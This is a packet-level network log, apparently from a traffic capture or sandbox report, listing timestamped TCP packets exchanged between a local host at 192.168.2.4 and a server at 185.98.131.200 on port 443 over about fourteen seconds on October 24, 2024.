Oct 24, 2024 13:27:31.567064047 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:31.567101002 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:31.567121983 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:31.567148924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:31.567167997 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:31.678759098 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:31.678797007 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:31.678958893 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:31.678958893 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:31.679027081 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:31.679086924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.204925060 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.204935074 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.204978943 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.205087900 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.205149889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.205190897 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.205213070 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.311986923 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.312016964 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.312114954 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.312175989 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.312237024 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.317127943 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.317146063 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.317212105 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.317225933 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.317286015 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.321650982 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.321667910 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.321721077 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.321733952 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.321780920 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.328224897 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.328243017 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.328299046 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:32.328310966 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:32.328360081 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:33.565659046 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:33.565673113 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:33.565715075 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:33.565886021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:33.565886021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:33.565951109 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:33.566013098 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:33.571129084 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:33.571149111 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:33.571192026 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:33.571211100 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:33.571234941 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:33.571253061 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:33.682908058 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:33.682929039 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:33.683002949 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:33.683034897 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:33.683078051 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:34.209278107 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.209289074 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.209321976 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.209386110 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:34.209451914 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.209487915 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:34.209508896 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:34.519270897 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.519289970 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.519342899 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.519498110 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:34.519562006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.519594908 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.519651890 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:34.519803047 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.519829988 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.519876957 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:34.519891977 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.519929886 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:34.519929886 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:34.520379066 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.520400047 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.520457983 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:34.520473003 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:34.520514011 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:35.570624113 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:35.570641994 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:35.570686102 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:35.570787907 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:35.570787907 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:35.570852995 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:35.570916891 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:35.575737000 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:35.575752020 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:35.575822115 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:35.575838089 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:35.575891018 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:35.687701941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:35.687726021 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:35.687810898 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:35.687832117 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:35.687900066 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.213304043 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.213313103 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.213359118 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.213543892 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.213545084 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.213607073 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.213673115 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.320667028 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.320688009 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.320755959 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.320786953 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.320813894 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.320836067 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.325839043 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.325902939 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.325917006 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.325934887 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.325963974 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.325984001 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.330239058 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.330252886 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.330312967 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:36.330327034 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:36.330374956 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.213656902 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.213691950 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.213711977 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.213751078 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.213789940 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.213807106 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.213813066 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.213829994 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.213843107 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.321846008 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.321883917 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.321943998 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.321986914 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.322017908 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.322038889 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.328200102 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.328243017 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.328267097 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.328283072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.328308105 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.328325987 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.334611893 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.334650993 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.334680080 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.334696054 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.334717989 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.334738016 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.438380957 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.438407898 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.438498020 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:37.438540936 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:37.438597918 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:38.573230982 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:38.573251963 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:38.573272943 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:38.573322058 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:38.573410988 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:38.573453903 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:38.573477983 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:38.577969074 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:38.577995062 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:38.578043938 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:38.578063965 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:38.578088045 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:38.578113079 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:38.690263987 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:38.690285921 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:38.690376043 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:38.690403938 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:38.690470934 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.218329906 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.218344927 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.218386889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.218451977 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.218488932 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.218528986 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.218554974 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.325443983 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.325472116 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.325572968 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.325633049 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.325699091 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.330579042 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.330622911 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.330687046 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.330696106 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.330746889 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.335144043 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.335210085 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.335232019 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.335238934 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.335288048 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.341626883 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.341655016 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.341720104 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.341726065 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:39.341738939 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:39.341767073 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:40.577641010 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.577677965 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.577707052 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.577914000 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:40.577914000 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:40.577960968 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.578046083 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:40.582314014 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.582334042 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.582422972 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:40.582437038 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.582509041 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:40.694989920 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.695012093 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.695090055 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:40.695112944 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.695168018 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:40.695880890 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.695908070 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.695970058 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:40.695983887 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:40.696048975 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.785370111 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.785386086 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.785449982 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.785613060 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.785676003 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.785738945 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.785754919 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.785780907 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.785815001 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.785835028 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.785859108 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.785877943 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.793345928 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.793366909 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.793415070 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.793428898 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.793454885 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.793472052 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.794205904 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.794228077 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.794269085 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.794281960 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:41.794306993 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:41.794326067 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.469820023 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.469832897 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.469887972 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.470109940 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.470109940 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.470175028 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.470247030 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.578366995 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.578393936 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.578457117 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.578521013 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.578562975 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.578562975 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.584759951 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.584780931 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.584836960 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.584851980 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.584877968 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.584899902 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.694173098 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.694196939 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.694420099 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:42.694480896 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:42.694545031 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:43.477998018 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.478009939 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.478070021 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.478158951 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:43.478158951 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:43.478224039 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.478317976 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:43.578257084 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.578285933 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.578392029 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:43.578428030 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.578516006 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:43.594907045 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.594929934 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.595056057 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:43.595115900 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.595371962 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:43.694288969 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.694317102 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.694417953 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:43.694480896 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:43.694545031 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:44.468713045 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.468720913 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.468759060 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.468808889 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:44.468853951 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.468885899 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:44.468907118 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:44.577290058 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.577305079 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.577471018 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:44.577529907 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.577589035 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:44.577589989 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:44.583745003 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.583758116 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.583818913 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:44.583836079 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.583882093 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:44.692977905 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.692995071 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.693104029 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:44.693124056 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:44.693181992 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.471569061 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.471580029 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.471633911 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.471681118 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.471750021 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.471787930 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.471812963 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.584870100 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.584884882 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.584932089 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.584964991 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.584989071 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.585010052 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.586338043 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.586352110 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.586412907 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:45.586427927 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:45.586472034 CEST	49731	443	192.168.2.4	185.98.131.200
